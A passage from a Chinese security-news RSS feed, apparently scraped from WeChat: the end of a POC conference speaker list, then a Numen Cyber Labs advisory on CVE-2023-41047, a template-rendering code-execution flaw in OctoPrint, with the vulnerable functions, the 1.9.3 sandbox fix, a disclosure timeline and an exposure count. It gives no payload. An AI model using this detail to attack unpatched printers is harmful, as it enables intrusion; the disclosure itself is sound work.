Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Seth Jenkins</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Google Project Zero 的一名安全研究员。他主要专注于 Linux 内核 zero-day 研究，但也涉猎了各种不同的架构、操作系统和软件，发现漏洞并在许多不同的上下文中编写漏洞利用程序。Seth 特别喜欢为漏洞利用开发创新新策略。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Shahmeer Amir, &#34;Advanced SCADA and ICS </strong></span><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Hacking techniques”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Shahmeer Amir</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是一位世界知名的道德黑客，也是成就第三的漏洞猎人，他帮助了400 多家财富公司（包括 Facebook、Microsoft、Yahoo 和 Twitter）解决了他们系统中的关键安全问题。他在网络安全领域创办了多个创业企业，目前在四个国家领导三家初创公司。</span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">作为 Younite 的 CEO，Shahmeer 的主要公司正在研究下一代音视频通信技术。他还是 Veiliux 的首席执行官，这是亚洲首家主流网络安全创业公司，业务遍布亚太地区、阿联酋和英国。另一家初创公司 Authiun，是21世纪的完整无密码认证解决方案。Shahmeer 是巴基斯坦财政部政府的网络安全顾问，参与了多个关于深海跟踪、立法的数字化转型和巴基斯坦文化内容数字化的项目。他还是福布斯技术委员会的成员。</span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">作为一名工程师和拥有 EC-Council、Mile2、SANS 等知名组织相关认证的网络安全专业人士，Shahmeer 目前正在研究他的博士学位的区块链技术。他撰写了三本书，包括《Bug Bounty Hunting Essentials》，以及十几篇研究论文。Shahmeer 是一个非常受欢迎的主题演讲嘉宾，他经常被邀请就网络安全、区块链和其他技术发表演讲，全球已有80多次会议邀请他，包括 Blackhat、GiSec、FIC、AEC Alberta、Hackfest 等。他还被多个声望卓著的学术机构接纳参加他们的创业项目，包括斯坦福大学。作为公司的 CTO，Shahmeer 已经学会了25种编程语言，并能阅读35种编程语言的代码，使他成为多种技术的专家。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>wh1tc &amp; Zhiniang Peng, &#34;OLE object are still dangerous today — Exploiting Microsoft Office”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">@wh1tc</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是深信服的一名安全研究员。他从事 Windows 漏洞狩猎和模糊测试已经有3年的时间。他在2023年第一季度 MSRC 安全研究员排行榜上排名第三。</span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Zhiniang Peng</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">博士（@edwardzpeng）是深信服的首席架构师。他目前的研究领域包括应用密码学、软件安全和威胁狩猎。他在攻击性和防御性安全方面拥有超过10年的经验，并在学术界和工业界发表了许多研究。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Yingjie Cao &amp; Zhe Jing, &#34;A roadmap to $50,000 at Pwn2Own Vehicle 2024: Dissecting QNX, and exploiting its vulnerabilities”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Yingjie Cao</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是360安全的高级安全研究员，也是香港理工大学的准博士研究生，专注于连接车辆安全。他的研究已被学术界和工业界接受。他热衷于研究与车辆安全相关的攻防技术。</span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Zhe Jing</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是一名在攻击和防御安全方面都有专长的安全研究员。他对模糊测试和利用二进制漏洞特别感兴趣。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Yong Wang, &#34;Simple bug but not easy exploit: Rooting Android devices in one shot”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Yong Wang</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">（@ThomasKing2014）是阿里巴巴云潘多拉实验室的一名安全工程师。王勇目前专注于Android/浏览器漏洞狩猎和利用。他曾是多个安全会议的演讲嘉宾，包括 Black Hat（亚洲、欧洲、美国）、HITB Amsterdam、Zer0Con、POC、CanSecWest 和 QPSS。这些年来，他报告了几个漏洞，其中一个被提名为2019年的 Pwnie 奖。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Yuki Chen &amp; Qibo Shi(k0shl) &amp; Azure Yang, &#34;Bug Hunting and Exploiting in Microsoft&#39;s Message Queuing (MSMQ) Components”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Yuki Chen</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Cyber Kunln 的一名安全研究员。</span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Qibo Shi</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">（k0shl）是 Cyber Kunln 的一名安全研究员。</span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Azure Yang</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Cyber Kunln 的一名安全研究员。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Zhaofeng Chen, &#34;Attack Move Verifiers: Our Experiences of Exploiting and Enhancing Move-based Blockchain&#34;</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Zhaofeng Chen</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 CertiK 的一名安全研究员，专门研究机密计算、系统安全和移动安全。他曾在Zer0Con、POC、BlackHat 和 CanSecWest 等安全会议上发表演讲。他热衷于研究攻防技术，最近专注于Web3 基础设施安全。</span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"><br/></span></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 12px;font-family: &#34;Helvetica Neue&#34;;color: rgb(7, 58, 108);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 15px;color: rgb(48, 56, 65);"><strong>相关链接</strong></span></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;letter-spacing: normal;text-wrap: wrap;"><span style="color:#303841;"><span style="font-size: 15px;"><strong><a href="https://powerofcommunity.net/schedule.htm" target="_blank">https://powerofcommunity.net/schedule.htm</a></strong></span></span><br/></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;letter-spacing: normal;text-wrap: wrap;"><span style="color:#303841;"><span style="font-size: 15px;"><strong><a href="https://powerofcommunity.net/speaker_main.htm" target="_blank">https://powerofcommunity.net/speaker_main.htm</a></strong></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486108">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ed4ed597&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486108%26idx%3D1%26sn%3D60abae499acb582d14ea20ead82f02a9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 19 Oct 2023 15:56:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen独家: OctoPrint远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486097&amp;idx=1&amp;sn=a30cbe4c9a4f9c7e99a29b15de419aee</link>
      <description>前言OctoPrint是一个开源的3D打印机控制器应用程序，它为连接的打印机提供Web 界面。它可以显示打印</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-10-11 19:30</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>前言OctoPrint是一个开源的3D打印机控制器应用程序，它为连接的打印机提供Web 界面。它可以显示打印</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cdced38d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVs8ZicrCiasw2vFOf37iaA9RFlsqa0V5sK9A6MyJYxNJfe22qibGumthnwaQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8032128514056225" data-s="300,640" style="" data-type="png" data-w="249" src="https://wechat2rss.xlab.app/img-proxy/?k=4487a521&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVswdicpAf5XAgotshA63icicIKEMargU5pvFXDjHia6rCU4FTj7J7zJfqGKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><strong><span style="">前言</span></strong></p><p><span style="">OctoPrint是一个开源的3D打印机控制器应用程序，它为连接的打印机提供Web 界面。它可以显示打印机的状态和关键参数，并支持安排打印作业和远程控制打印机。</span></p><p><strong><span style="">描述</span></strong></p><p><span style="">Numen安全实验室漏洞研究员在OctoPrint小于等于1.9.2版本中发现打印作业执时配置特制的GCODE语言脚本，允许在该脚本渲染期间执行任意代码。</span></p><p><strong><span style="">CVE编号</span></strong></p><p><span md-inline="plain" style=";"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">CVE-2023-41047</span></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7986798679867987" data-s="300,640" style="" data-type="png" data-w="909" src="https://wechat2rss.xlab.app/img-proxy/?k=8be7c660&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsWKjHu6aXMtKgnF3cggsUbwMsKqT7XBUzPhSulFTmfYCyicT9uXicZVrw%2F640%3Fwx_fmt%3Dpng"/></p><p><strong>影响版本</strong><span md-inline="plain" style=";"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></span></span></p><p>&lt; 1.9.3</p><p><strong><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">分析</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">src/octoprint/server/api/settings.py<span class="code-snippet__comment">#getSettings()</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8814814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=71c827b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsf2gRD2sEhKk9dn3bYNm52BCDoFDNf8tSypl0UdKSGNFfc0N8jhBVmw%2F640%3Fwx_fmt%3Dpng"/></p><p>对应<strong><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></span></strong></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5887755102040816" data-s="300,640" style="" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=763bad53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsUCxhyibIk9cnzm21tYSH7sVQ6ZEqib00HsrnElvcqN0hqkEdNiaZjJfEg%2F640%3Fwx_fmt%3Dpng"/></p><p>将gcode传递到s对象的<code style=";">loadScript</code><span style="letter-spacing: 0.578px;text-wrap: wrap;"></span>函数</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4703703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b99e3799&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsn4SHXWDwe6p4heUjicSrAalXMxIo9WAA8BZXvxZy5aDwmEoDeZ3JQXQ%2F640%3Fwx_fmt%3Dpng"/></p><p>s对象来自</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=739400b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsbyERpfLpM95sJQuiaLQArVIiaicpqJGyh6aSxdLzCabSibnnMJ5NPQk1tw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6574074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1717e2cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsb0bqQDVDiaVW2CeQb2SrNeg9ZzNBPa9rgIFqWx00ic0icaRK6HfDbsbDA%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">src/octoprint/settings/__init__.py#loadScript()</span></code></pre></section><p><span style="font-size: 17px;">使用<span md-inline="code" spellcheck="false" style="font-size: 17px;"><code style=";">template.render</code></span>函数进行渲染。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6444444444444445" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d57df087&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsUHGdI1G7OGcePR6LXfHg1ArA4oYqoialVs62GSXkBo1Wdyibx6palw2w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style=";"><code style=";">template</code></span><span style="font-size: 17px;"> 对象来自<code style=";">_get_script_template</code>函数。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.662962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=32dcccb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsWygtI9VtzoQEkmHeEqOmQU1NfHuaSe8z2brpujurAJ5r9XB0LX38Og%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;">漏洞触发源于 gcode 的不安全渲染，在 OctoPrint 中没有采取任何安全措施，从而导致了这个问题。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6259259259259259" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bdea598a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsXwnMWSnnOnxWanSOia4yianqLhLs9NMq9GUSZicRoibHIOxxnljMZEsggA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong>修复 </strong><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;"></span></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;">1.9.3版本添加安全沙箱</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3e6c271c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsicMagTK4n8QWpzrgPBvbgXRvYlian6HmD5eD2XZkgbgnOjaEsMB3Db2w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 17px;"><strong><span style="font-size: 17px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">时间线 </span></strong></span></p><p>* 2023-8-31 向OctoPrint团队报告漏洞</p><p>* 2023-8-31 收到 OctoPrint 团队的回复，确认漏洞</p><p>* 2023-10-10 修复安全漏洞，并发布OctoPrint 1.9.3版本</p><p>* 2023-10-10 公开CVE</p><p><strong>互联网影响</strong></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;">通过shodan、<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(51, 51, 51);white-space: pre-wrap;background-color: rgb(255, 255, 255);">fofa</span>发现了20000多个暴露的OctoPrint。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.48333333333333334" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a905ec6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsnyS42LeJc3yFBseyWAUVReS1JdDd5KZMtJpEyDwZKrUXfF3p9hSSIQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 17px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3787037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=07d943ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cicO3U3PHbIHs3FfGIpmTVsxGsl1rzsaoS0v5H7bvtu7EoiabAlmTYfcRDzWOtLRCmOibPEuXYdFUpA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, 